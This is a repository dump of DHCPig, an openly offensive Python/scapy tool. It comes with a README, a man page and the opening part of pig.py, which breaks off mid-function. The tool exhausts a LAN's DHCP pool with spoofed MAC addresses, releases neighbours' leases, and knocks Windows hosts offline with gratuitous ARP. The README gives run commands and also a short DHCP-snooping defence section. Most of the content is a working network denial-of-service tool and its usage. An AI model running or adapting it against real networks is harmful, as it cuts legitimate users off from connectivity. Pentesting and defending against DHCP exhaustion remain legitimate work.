Full Code of kamorin/DHCPig for AI

master dfe9e453542b cached
4 files
44.5 KB
13.9k tokens
30 symbols
1 requests
Download .txt
Repository: kamorin/DHCPig
Branch: master
Commit: dfe9e453542b
Files: 4
Total size: 44.5 KB

Directory structure:
gitextract_2g4e905f/

├── README.md
├── dhcpig.1
├── pig.py
└── setup.py

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
DHCPig
======

Tags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy

SUMMARY
-------

DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs on the LAN, stop new users from obtaining IPs,
release any IPs in use, then for good measure send gratuitous ARP and knock all windows hosts offline.

It requires scapy >=2.1 library and admin privileges to execute. No configuration necessary, just pass the interface as 
a parameter. It has been tested on multiple Linux distributions and multiple DHCP servers (ISC,Windows 2k3/2k8,..).


When executed the script will perform the following actions:

* Grab your Neighbors IPs before they do   
	Listen for DHCP Requests from other clients if offer detected, respond with request for that offer.   

* Request all available IP addresses in Zone   
	Loop and Send DHCP Requests all from different hosts & MAC addresses  

* Find your Neighbors MAC & IP and release their IP from DHCP server   
	ARP for all neighbors on that LAN, then send DHCPReleases to server   
	

Finally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds)  and then 


* Knock all Windows systems offline   
	gratuitous ARP the LAN, and since no additional DHCP addresses are available these windows systems should stay 
offline.  Linux systems will not give up IP even when another system on LAN is detected with same IP.


PROTOCOL
--------
* __IPv4__
	 * SEQUENCE
		  1. ----> DHCP_DISCOVER 
		  2. <---- DHCP_OFFER    
		  3. ----> DHCP_REQUEST  
		  4. <---- DHCP_REPLY (ACK/NACK)	
	 * DHCPd snoop detection (DHCPd often checks if IP is in use)
		  * Check for ARP_Snoops 
		  * Check for ICMP Snoops 

* __IPv6__
	* SEQUENCE
		1. ----> DHCP6_SOLICIT  
		2. <---- DHCP6_ADVERTISE 
		3. ----> DHCP6_REQUEST   
		4. <---- DHCP6_REPLY    
	 * DHCPd snoop detection (DHCPd often checks if IP is in use)
	  	* Check for ICMPv6 Snoops 

USAGE
-----
	enhanced DHCP exhaustion attack plus.
	
	Usage:
	    pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
	  
	Options:
	    -h, --help                     <-- you are here :)
	    -v, --verbosity                ...  0 ... no         (3)
	                                        1 ... minimal
	                                       10 ... default
	                                       99 ... debug
	                                       
	    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)
	    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)
	    
	    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
    	-S, --ethernet-mac             ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
	    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
	    
	    -f, --fuzz                     ... randomly fuzz packets (off)
	
	    -t, --threads                  ... number of sending threads (1)
	    
	    -a, --show-arp                 ... detect/print arp who_has (off)
	    -i, --show-icmp                ... detect/print icmps requests (off)
	    -o, --show-options             ... print lease infos (off)
	    -l, --show-lease-confirm       ... detect/print dhcp replies (off)
	    
	    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)
	    -r, --neighbors-attack-release ... release all neighbor ips (off)
	    -n, --neighbors-scan-arp       ... arp neighbor scan (off)
	    
	    -x, --timeout-threads          ... thread spawn timer (0.4)
	    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)
	    -z, --timeout-dhcprequest      ... dhcp request timeout (2)
	    
	    -c, --color                    ... enable color output (off)


EXAMPLE
-------
    # requires root privileges to open raw sockets and set the interface in promiscuous mode
    sudo ./pig.py eth1

    ./pig.py eth1
    ./pig.py --show-options eth1
    ./pig.py -x1 --show-options eth1
    
    ./pig.py -6 eth1
    ./pig.py -6 --fuzz eth1
    ./pig.py -6 -c -verbosity=1 eth1
    ./pig.py -6 -c -verbosity=3 eth1
    ./pig.py -6 -c -verbosity=100 eth1
    
    ./pig.py --neighbors-scan-arp -r -g --show-options eth1

DEPENDENCIES
-------
    $ python -m pip install scapy
    $ sudo apt-get install libpcap0.8
 

CHANGELOG
-----

     1.6 : 2024-01 
	     * support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque
	 1.5 : 2017-1 
	     * Better support for WiFi.  pig no longer spoofs the ethernet frame src MAC address, just chaddr.  
         * Updated DHCP fingerprint to match existing operating systems.  Some routers will only respond to known devices.
         * Changed the BOOTP flag to broadcast from unicast.  FIOS routers will only respond if broadcast BOOTP option is set.
         * Feedback welcome, pig is now running well on the networks we have tested on.
	1.0 : 2015-1
         * more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output
         * more options, double the fun: scapy fuzzing, ipv6 support
         * more options, more fun: show options/show icmp/show arp
         * fixed indents, beautify doc, eyefriendly one-line-logging


ACTION-SHOTS
-------------

IPv4

	x@<:/src/DHCPig# ./pig.py -c -v3  -l -a -i -o eth2
	[ -- ] [INFO] - using interface eth2
	[DBG ] Thread 0 - (Sniffer) READY
	[DBG ] Thread 1 - (Sender) READY
	[--->] DHCP_Discover
	[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
	[--->] DHCP_Discover
	[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
	[--->] DHCP_Discover
	[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1
	[<---] DHCP_Offer   00:0c:29:da:53:f9   0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]
	[DBG ]  * xid=154552584
	[DBG ]  * CIaddr='0.0.0.0'
	[DBG ]  * YIaddr='172.20.0.40'
	[DBG ]  * SIaddr='0.0.0.0'
	[DBG ]  * GIaddr='0.0.0.0'
	[DBG ]  * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
	[DBG ]  * Sname='ISCdhcpd'
	[DBG ]          * message-type  (2,)
	[DBG ]          * server_id     ('172.20.15.1',)
	[DBG ]          * lease_time    (60000,)
	[DBG ]          * subnet_mask   ('255.254.0.0',)
	[DBG ]          * router        ('172.20.15.1',)
	[DBG ]          * 39    ('\x01\x01\x01\x00\xac\x14\x0f\x01',)
	[--->] DHCP_Request 172.20.0.40
	[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
	[--->] DHCP_Discover
	[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
	^C[ -- ]  -----  ABORT ...  -----
	[DBG ] Waiting for Thread 0 to die ...
	[DBG ] Waiting for Thread 1 to die ...


IPv6

	x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l eth3
	[ -- ] [INFO] - using interface eth3
	[DBG ] Thread 0 - (Sniffer) READY
	[DBG ] Thread 1 - (Sender) READY
	[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed']
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
	[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
	[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P']
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
	[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
	[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ']
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]
	[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]

	
	x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l -a -i -o eth3
	[ -- ] [INFO] - using interface eth3
	[DBG ] Thread 0 - (Sniffer) READY
	[DBG ] Thread 1 - (Sender) READY
	[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg']
	[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
	[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
	[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
	[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
	[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
	[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
	[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
	[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
	[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
	[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
	[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
	[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
	[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
	[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
	[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
	[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
	[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
	[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
	^C[ -- ]  -----  ABORT ...  -----
	[DBG ] Waiting for Thread 0 to die ...
	[DBG ] Waiting for Thread 1 to die ...

Minimal Output (verbosity=1)

	. = DHCP_Discovery
	! = DHCP_Offer
	; = ICMP/ARP/DHCP_ACKs
	D = DEBUG output (show options, etc.)
	E = ERROR
	N = NOTICE / INFO

	x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3
	WARNING: No route found for IPv6 destination :: (no default route?)
	NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned
	.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD
	
	x@y:/src/DHCPig# ./pig.py -6 -c -v1  -l eth3
	NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD



DEFENSE
-------

most common approach to defending DHCP exhaustion is via access layer switching or wireless controllers.  

In cisco switching simplest option is to enable DHCP snooping.  Snooping will defend against pool exhaustion,
IP hijacking, and DHCP sever spoofing  all of which are used in DHCPig.   Based on examined traffic, DHCP 
snooping will create a mapping table from IP to mac on each port.  User access ports are then restricted to only 
the given IP.  Any DHCP server messages originating from untrusted ports are filtered.


enable the following to defend against pool exhaustion, IP hijacking, and DHCP sever spoofing:

* enable snooping 

    `ip dhcp snooping`
    
* specify which port your DHCP is associated with.  Most likely this is your uplink.  Doing the following will 
limit DHCP server responses to only the specified port, so use after testing in lab environment.

    `int fa0/1`  (or correct interface)

    `ip dhcp snooping trust`

* show status

    `show ip dhcp snopping`

    `show ip dhcp snopping binding`


* additional info:
http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf


LICENSE:
--------
These scripts are all released under the GPL v2 or later.  For a full description of the licence, 
please visit [http://www.gnu.org/licenses/gpl.txt](http://www.gnu.org/licenses/gpl.txt)

DISCLAIMER:
---------
All information and software available on this site are for educational purposes only. The author 
is no way responsible for any misuse of the information.  

//Kevin

//tintin


================================================
FILE: dhcpig.1
================================================
.TH "DHCPIG" "1" " DHCPig Man Page" "Philippe Thierry" "June 2017" 
.nh
.ad l


.SH NAME
.PP
dhcpig \- DHCP exhaustion script using scapy network library


.SH SYNOPSIS
.PP
\fBdhcpig [options] <interface>\fP
\fBdhcpig \-h|\-\-help\fP


.SH DESCRIPTION
.PP
DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs
on the LAN, stop new users from obtaining IPs, release any IPs in use, then
for good measure send gratuitous ARP and knock all windows hosts offline.

.PP
When executed the script will perform the following actions:

.PP
Grab your Neighbors IPs before they do
   Listen for DHCP Requests from other clients if offer detected, respond with
   request for that offer.

.PP
Request all available IP addresses in Zone
   Loop and Send DHCP Requests all from different hosts \& MAC addresses

.PP
Find your Neighbors MAC \& IP and release their IP from DHCP server
   ARP for all neighbors on that LAN, then send DHCPReleases to server

.PP
Finally the script will then wait for DHCP exhaustion, (that is no received
DHCP OFFERs for 10 seconds) and then

.PP
Knock all Windows systems offline
   gratuitous ARP the LAN, and since no additional DHCP addresses are available
these windows systems should stay offline. Linux systems will not give up IP
even when another system on LAN is detected with same IP.


.SH OPTIONS:
.PP
The options of DHCPig are the following. For each option, the default value or
default behavior is set between parenthesis.

.PP
\fB\-h\fP, \fB\-\-help\fP
  show this help message and exit

.PP
\fB\-v, \-\-verbosity\fP
  Set verbosity level. Can be set to:
    0 ... no         (3)
    1 ... minimal
   10 ... default
   99 ... debug

.PP
\fB\-6, \-\-ipv6\fP
  DHCPv6 (off, DHCPv4 by default)

.PP
\fB\-1, \-\-v6\-rapid\-commit\fP
  enable RapidCommit (2way ip assignment instead of 4way) (off)

.PP
\fB\-s, \-\-client\-src\fP
  a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)

.PP
\fB\-S, \-\-ethernet\-mac\fP
  Use identical MAC addresses on the Ethernet frame and DHCP frame

.PP
\fB\-O, \-\-request\-options\fP
  option\-codes to request e.g. 21,22,23 or 12,14\-19,23 (Default: 0\-80)

.PP
\fB\-f, \-\-fuzz\fP
  randomly fuzz packets (off)

.PP
\fB\-t, \-\-threads\fP
  number of sending threads (1)

.PP
\fB\-a, \-\-show\-arp\fP
  detect/print arp who\_has (off)

.PP
\fB\-i, \-\-show\-icmp\fP
  detect/print icmps requests (off)

.PP
\fB\-o, \-\-show\-options\fP
  print lease infos (off)

.PP
\fB\-l, \-\-show\-lease\-confirm\fP
  detect/print dhcp replies (off)

.PP
\fB\-g, \-\-neighbors\-attack\-garp\fP
  knock off network segment using gratious arps (off)

.PP
\fB\-r, \-\-neighbors\-attack\-release\fP
  release all neighbor ips (off)

.PP
\fB\-n, \-\-neighbors\-scan\-arp\fP
  arp neighbor scan (off)

.PP
\fB\-x, \-\-timeout\-threads\fP
  thread spawn timer (0.4)

.PP
\fB\-y, \-\-timeout\-dos\fP
  DOS timeout (8) (wait time to mass grat.arp)

.PP
\fB\-z, \-\-timeout\-dhcprequest\fP
  dhcp request timeout (2)

.PP
\fB\-c, \-\-color\fP
  enable color output (off)


.SH HISTORY
.PP
June 2017, Man page originally compiled by Philippe Thierry (phil at reseau\-libre dot
com)


================================================
FILE: pig.py
================================================
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
"""
enhanced DHCP exhaustion attack.

Doc:
    http://github.com/kamorin/DHCPig


Usage:
    pig.py [-h -v -6 -1 -s -S -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
  
Options:
    -h, --help                     <-- you are here :)
    -v, --verbosity                ...  0 ... no         (3)
                                        1 ... minimal
                                       10 ... default
                                       99 ... debug
                                       
    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)
    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)
    
    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
    -S, --ethernet-mac             ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
    
    -f, --fuzz                     ... randomly fuzz packets (off)

    -t, --threads                  ... number of sending threads (1)
    
    -a, --show-arp                 ... detect/print arp who_has (off)
    -i, --show-icmp                ... detect/print icmps requests (off)
    -o, --show-options             ... print lease infos (off)
    -l, --show-lease-confirm       ... detect/print dhcp replies (off)
    
    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)
    -r, --neighbors-attack-release ... release all neighbor ips (off)
    -n, --neighbors-scan-arp       ... arp neighbor scan (off)
    
    -x, --timeout-threads          ... thread spawn timer (0.4)
    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)
    -z, --timeout-dhcprequest      ... dhcp request timeout (2)
    
    -c, --color                    ... enable color output (off)
"""

from scapy.all import *
import string, binascii, signal, sys, threading, socket, struct, getopt
from sys import stdout



class Colors:
    class Palette:
        '''
        dummy, as python 2.5 does not support namedtuples
        '''
        black = None
        red = None
        green = None
        yellow = None
        blue = None
        purple = None
        cyan = None
        grey = None
#   forecolor
    endc = "\033[0m"
    black = "\033[30m"
    red = "\033[31m"
    green = "\033[32m"
    yellow = "\033[33m"
    blue = "\033[34m"
    purple = "\033[35m"
    cyan = "\033[36m"
    grey = "\033[37m"
#   back color
    background = Palette
    background.black = "\033[40m"
    background.red = "\033[41m"
    background.green = "\033[42m"
    background.yellow = "\033[43m"
    background.blue = "\033[44m"
    background.purple = "\033[45m"
    background.cyan = "\033[46m"
    background.grey = "\033[47m"

#   attribs
    bold = "\033[1m"
    underline = "\033[4m"
    blink = "\033[5m"
    invert = "\033[7m"

'''
Defaults
'''
conf.checkIPaddr = False
conf.iface = "lo"
conf.verb = False
SHOW_ARP = True
SHOW_ICMP = False
SHOW_DHCPOPTIONS = False
SHOW_LEASE_CONFIRM = False
MODE_IPv6 = False
MODE_FUZZ = False
DO_GARP = False
DO_RELEASE = False
DO_ARP = False
MAC_LIST = []
TIMEOUT={}
TIMEOUT['dos']=8    
TIMEOUT['dhcpip']=2
TIMEOUT['timer']=0.4
DO_COLOR = False 
ETHERNET_MAC = False
COLORSCHEME = {'<--':Colors.green+"%s"+Colors.endc,
               '<-':Colors.blue+"%s"+Colors.endc,
               '->':Colors.cyan+"%s"+Colors.endc,
               '-->':Colors.grey+"%s"+Colors.endc,
               '?':Colors.yellow+"%s"+Colors.endc,
               'DEBUG':Colors.purple+"%s"+Colors.endc,
               'NOTICE': Colors.bold+Colors.red+"%s"+Colors.endc,
               'ERROR': Colors.bold+Colors.red+"%s"+Colors.endc,
               'WARNING': Colors.bold+Colors.yellow+"%s"+Colors.endc,
               None:'%s'}
MSGSCHEME = {'<--'      :"[<---] %s",   # inbound
             '-->'      :"[--->] %s",   # outpund
             '->'      :"[ -> ] %s",    # icmp / arp out
             '<-'      :"[ <- ] %s",    # icmp / arp in
             '?'        :"[ ?? ] %s",   
             'DEBUG'    :"[DBG ] %s",
             'NOTICE'   :"[ -- ] %s",
             'WARNING'  :"[ !! ] %s",
             'ERROR'    :"[XXXX] %s",
             }
MSGSCHEME_MIN = {'<--'  :"!",
             '-->'      :".",
             '->'       :":",
             '<-'       :";",
             '?'        :"?",
             'DEBUG'    :"D",
             'NOTICE'   :"N",
             'WARNING'  :"W",
             'ERROR'    :"E",
             }
DO_v6_RC = False
VERBOSITY = 3
THREAD_CNT = 1
THREAD_POOL = []
REQUEST_OPTS = range(80)


def checkArgs():
    global SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, TIMEOUT, MODE_IPv6, MODE_FUZZ, DO_ARP, DO_GARP, DO_RELEASE, MAC_LIST, ETHERNET_MAC, DO_COLOR,DO_v6_RC, VERBOSITY,THREAD_CNT,SHOW_LEASE_CONFIRM,REQUEST_OPTS
    try:
        opts, args = getopt.getopt(sys.argv[1:], "haiolx:y:z:6fgrnsSc1v:t:O:", ["help","show-arp","show-icmp",
                                                                                  "show-options","timeout-threads=","timeout-dos=",
                                                                                  "timeout-dhcprequest=", "neighbors-scan-arp",
                                                                                  "neighbors-attack-release", "neighbors-attack-garp",
                                                                                  "fuzz","ipv6","client-src=","ethernet-mac","color","v6-rapid-commit",
                                                                                  "verbosity=","threads=", "show-lease-confirm","request-options="])
    except getopt.GetoptError as err:
        # print help information and exit:
        print(str(err))  # will print something like "option -a not recognized"
        usage()
        sys.exit(2)
    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit()
        elif o in ("-a", "--show-arp"):
            SHOW_ARP = False
        elif o in ("-i", "--show-icmp"):
            SHOW_ICMP = True
        elif o in ("-o", "--show-options"):
            SHOW_DHCPOPTIONS = True
        elif o in ("-l", "--show-lease-confirm"):
            SHOW_LEASE_CONFIRM = True
        elif o in ("-x", "--timeout-threads"):
            TIMEOUT['timer'] = float(a)
        elif o in ("-y", "--timeout-dos"):
            TIMEOUT['dos'] = float(a)
        elif o in ("-z", "--timeout-dhcprequest"):
            TIMEOUT['dhcpip'] = float(a)
        elif o in ("-6", "--ipv6"):
            MODE_IPv6 = True
        elif o in ("-f", "--fuzz"):
            MODE_FUZZ = True
        elif o in ("-g", "--neighbors-attack-garp"):
            DO_GARP = True
        elif o in ("-r", "--neighbors-attack-release"):
            DO_RELEASE = True
        elif o in ("-n", "--neighbors-scan-arp"):
            DO_ARP = True
        elif o in ("-s", "--client-src"):
            MAC_LIST = a.strip().split(",")
        elif o in ("-S", "--ethernet-mac"):
            ETHERNET_MAC = True
        elif o in ("-c", "--color"):
            DO_COLOR = True
        elif o in ("-1", "--v6-rapid-commit"):
            DO_v6_RC = True
        elif o in ("-v", "--verbosity"):
            VERBOSITY = int(a)
            if VERBOSITY >= 99:
                conf.verb = True
        elif o in ("-t", "--threads"):
            THREAD_CNT = int(a)
        elif o in ("-O", "--request-options"):
            REQUEST_OPTS = []
            for o in a.split(","):
                if "-" in o:
                    x = o.split("-")
                    if len(x) == 2:
                        REQUEST_OPTS += range(int(x[0]),int(x[1]))
                    else:
                        print("Error in option - request-options")
                        usage()
                        exit()
                else:
                    REQUEST_OPTS.append(int(o))
#                   REQUEST_OPTS = [int(o) for o in REQUEST_OPTS]
        else:
            assert False, "unhandled option"
    if len(args) == 1:
        if WINDOWS:
            conf.iface = IFACES.dev_from_name(args[0])
        else:
            conf.iface = args[0]
    else:
        usage()
        sys.exit(2)
        
    if conf.verb:
        print("""---------------------[OPTIONS]-----------
        IPv6                            %s
        fuzz                            %s

        DONT_SHOW_ARP                   %s
        SHOW_ICMP                       %s
        SHOW_DHCPOPTIONS                %s
        SHOW_LEASE_CONFIRMATION         %s
        
        REQUEST_DHCP_Options            %s

        timeout-threads                 %s
        timeout-dos                     %s
        timeout-dhcprequest             %s

        neighbors-attack-garp           %s
        neighbors-attack-release        %s
        neighbors-scan-arp              %s
        
        neighbors-scan-arp              %s
        
        color                           %s
-----------------------------------------
        """%(MODE_IPv6, MODE_FUZZ, SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, SHOW_LEASE_CONFIRM, repr(REQUEST_OPTS),
             TIMEOUT['timer'], TIMEOUT['dos'], TIMEOUT['dhcpip'],
             DO_GARP, DO_RELEASE, DO_ARP, repr(MAC_LIST), DO_COLOR))


def LOG(message=None, type=None):
    if VERBOSITY <= 0:
        return
    elif VERBOSITY == 1:
#       minimal verbosity ...   dot style output
        if type in MSGSCHEME_MIN:
            message = MSGSCHEME_MIN[type]
            if DO_COLOR and type in COLORSCHEME:
                message = COLORSCHEME[type]%message
            stdout.write("%s"%message)
            stdout.flush()
    else:
        if type in MSGSCHEME:
            message = MSGSCHEME[type]%message
        if DO_COLOR and type in COLORSCHEME:
            message = COLORSCHEME[type]%message
        if MODE_FUZZ:
            stdout.write("[FUZZ] %s\n"% (message))
        else:
            stdout.write("%s\n"% (message))
        stdout.flush()


def signal_handler(signal, frame):
    LOG(type="NOTICE", message= ' -----  ABORT ...  -----')
    i = 0
    for t in THREAD_POOL:
        t.kill_received = True
        LOG(type="DEBUG", message= 'Waiting for Thread %d to die ...'%i)
        i+=1
    sys.exit(0)

# Necessary Network functions not included in scapy
#
def randomMAC():
    global MAC_LIST
    if len(MAC_LIST)>0:
        curr = MAC_LIST.pop()
        MAC_LIST = [curr]+MAC_LIST
        return curr
    mac = [ 0xDE, 0xAD, 
        random.randint(0x00, 0x29),
        random.randint(0x00, 0x7f),
        random.randint(0x00, 0xff),
        random.randint(0x00, 0xff) ]
    return ':'.join(map(lambda x: "%02x" % x, mac))


def toNum(ip):
    "convert decimal dotted quad string to long integer"
    return struct.unpack('L',socket.inet_aton(ip))[0]


def get_if_net(iff):
    for net, msk, gw, iface, addr, metric in read_routes():
        if (iff == iface and net != 0):
            return ltoa(net)
    warning("No net address found for iface %s\n" % iff)


def get_if_msk(iff):
    for net, msk, gw, iface, addr, metric in read_routes():
        if (iff == iface and net != 0):
            return ltoa(msk)
    warning("No net address found for iface %s\n" % iff)


def get_if_ip(iff):
    for net, msk, gw, iface, addr, metric in read_routes():
        if (iff == iface and net != 0):
            return addr
    warning("No net address found for iface %s\n" % iff)


def calcCIDR(mask):
    mask = mask.split('.')
    bits = []
    for c in mask:
        bits.append(bin(int(c)))
    bits = ''.join(bits)
    cidr = 0
    for c in bits:
        if c == '1': cidr += 1
    return str(cidr)


def unpackMAC(binmac):
    return str2mac(binmac)


##########################################################
#
#  IPv6 Packet crafting
#

"""
    protocol specific stuff

c2s -> solicit
s2c -> advertise 
c2s -> request
s2c -> reply

"""

def v6_build_ether(mac):
    IPv6mcast="33:33:00:01:00:02"
    #IPv6LL="fe80::20c:29ff:fef8:a1c8"
    IPv6LL = [addr for addr,y,intf in in6_getifaddr() if intf==conf.iface]
    if len(IPv6LL)>0:
        IPv6LL=IPv6LL[0]
    else:
        LOG(type="NOTICE",message="Could not determine v6 Link-Local Address")
        exit()
    IPv6bcast="ff02::1:2"
    IPv6DHCP_CLI_Port=546
    IPv6DHCP_SRV_Port=547
    ethead=Ether(src=mac,dst=IPv6mcast)/IPv6(src=IPv6LL,dst=IPv6bcast)/UDP(sport=IPv6DHCP_CLI_Port,dport=IPv6DHCP_SRV_Port)
    return ethead

def v6_build_discover(mac,trid=None,options=[23,24]):
    ethead=v6_build_ether(mac)
    trid=trid or random.randint(0x00,0xffffff)
    cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time())))
    if DO_v6_RC:
        dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptRapidCommit()/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options)
    else:
